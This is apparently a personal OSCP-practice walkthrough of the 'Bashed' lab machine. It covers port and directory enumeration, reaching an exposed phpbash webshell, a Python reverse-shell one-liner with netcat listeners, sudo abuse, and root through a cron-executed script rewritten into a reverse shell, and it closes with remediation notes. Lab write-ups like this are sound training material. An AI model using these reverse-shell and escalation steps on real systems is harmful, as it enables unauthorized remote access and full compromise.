07 March, 2020

This write-up is part of my OSCP preparations series and I'll be smashing through TJ Null's list of OSCP-like boxes. This is OSCP_03.

Things we will be going through:

-> Assessment: Initial enumeration of the box to find footholds and entry points.
-> User Ownage: Exploiting the found vulnerabilities to compromise a low-privilege user account.
-> Root Owngae: Local enumeration and privilege escalation to complete system compromise.


Like tradition, let's do a port scan using Nmap:
╰─ nmap -sC -sV -T4 -vvv -oA bashed
Host is up, received reset ttl 63 (0.17s latency).
Scanned at 2020-03-06 16:24:57 IST for 15s
Not shown: 999 closed ports
Reason: 999 resets
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Only a single port was reported:

  • Port 80 HTTP: Like always, I hopped on my browser to enumerate the website and this was the homepage:

    As the title of the webpage said "Arrexel's Development Site" and there are mentions of "phpbash", this seemed to be the development server of Arrexel's famed phpbash webshell[GitHub Link]. I moved on to enumerating directories and ran gobuster:
    ╰─ gobuster dir -w /usr/share/wordlists/dirb/small.txt -x sh,pl -u -t 50
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    [+] Url:  
    [+] Threads:        50
    [+] Wordlist:       /usr/share/wordlists/dirb/small.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Extensions:     sh,pl
    [+] Timeout:        10s
    2020/03/06 16:30:26 Starting gobuster
    /css (Status: 301)
    /dev (Status: 301)
    /images (Status: 301)
    /js (Status: 301)
    /php (Status: 301)
    /uploads (Status: 301)
    2020/03/06 16:30:40 Finished
    Only directories of interest were "/dev" and "/uploads". I proceeded to check out "/dev" and it was listable:

    As it was evident, the phpbash shell was uploaded and was accessible:

User Ownage:

You can either do the rest of box through the webshell or can proceed to get a reverse shell. I chose the latter. The only reverse shell that seemed to working was the python one so I pasted this in the webshell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
and caugh the revshell:
╰─ nc -nlvp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 59014
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
And from here the user flag was obtainable. Let's move on to privilege escalation.

Root Ownage:

In this box, there were two escalations. First from "www-data" to "scriptmanager" and then to "root".
First Pivot:
I checked the sudo permissions as the first user:
www-data@bashed:/var/www/html/dev$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
So we are allowed to run any command as "scriptmanager". That's sweet! Using a simple command, I got shell as the next user:
www-data@bashed:/$ sudo -u scriptmanager /bin/bash

Root Pivot:
Moving on to local enumeration:
scriptmanager@bashed:/$ ls -la
ls -la
total 88
drwxr-xr-x  23 root          root           4096 Dec  4  2017 .
drwxr-xr-x  23 root          root           4096 Dec  4  2017 ..
drwxr-xr-x   2 root          root           4096 Dec  4  2017 bin
drwxr-xr-x   3 root          root           4096 Dec  4  2017 boot
drwxr-xr-x  19 root          root           4240 Mar  9 07:24 dev
drwxr-xr-x  89 root          root           4096 Dec  4  2017 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Dec  4  2017 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 115 root          root              0 Mar  9 07:24 proc
drwx------   3 root          root           4096 Dec  4  2017 root
drwxr-xr-x  18 root          root            500 Mar  9 07:24 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4  2017 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Mar  9 07:24 sys
drwxrwxrwt  10 root          root           4096 Mar  9 07:30 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Dec  4  2017 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
The "scripts" folder looks weird. Checking it out revealed these files:
scriptmanager@bashed:/$ ls -la /scripts/
ls -la /scripts/
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Mar  9 07:31 test.txt
And "test.py" had a few simple lines of code:
scriptmanager@bashed:/$ cat /scripts/test.py
cat /scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
So it was simply creating the "test.txt" in the same directory. But since permissions of the output file showed it was owned by "root", the lines inside the python file were probably being executed as root. Also, even though I didn't check the crontab, experience told that this file might be getting executed repeatedly after a certain interval. So I changed the contents of "test.py" to this:
import socket,subprocess,os
It's the same python revshell one-liner, just in form of a program. After a few minutes, I got the root shell:
╰─ nc -lnvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 44568
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# wc -c root.txt
33 root.txt
And root ownage!


  • Vulnerability 1 (File Exposure): It is good practice to not leave important files lying around on a web server, especially with lax permissions. This can lead to serious vulnerabilities such as LFIs, RCEs, data exposure, etc. Make sure to put correct permissions on important directories and not to leave sensitive files on active web servers.
  • Vulnerability 2 (Rogue Permissions): It should be made sure that unnecessary permissions are not given to commands that may lead to privilege escalation. Sudo privileges should be given only to those accounts that require it. Don't leave files that can execute commands as root in hands of low privilege accounts.


A fairly easy box. Only one port was available, proper knowledge of port 80 enumeration was required. Also, while trying to get a revshell from the webshell, only the python one worked. So it's a good habit to test every one-liner before moving on to other methods. Privilege escalation was also pretty easy. Always keep an eye out for out-of-place files and always check the sudo permissions.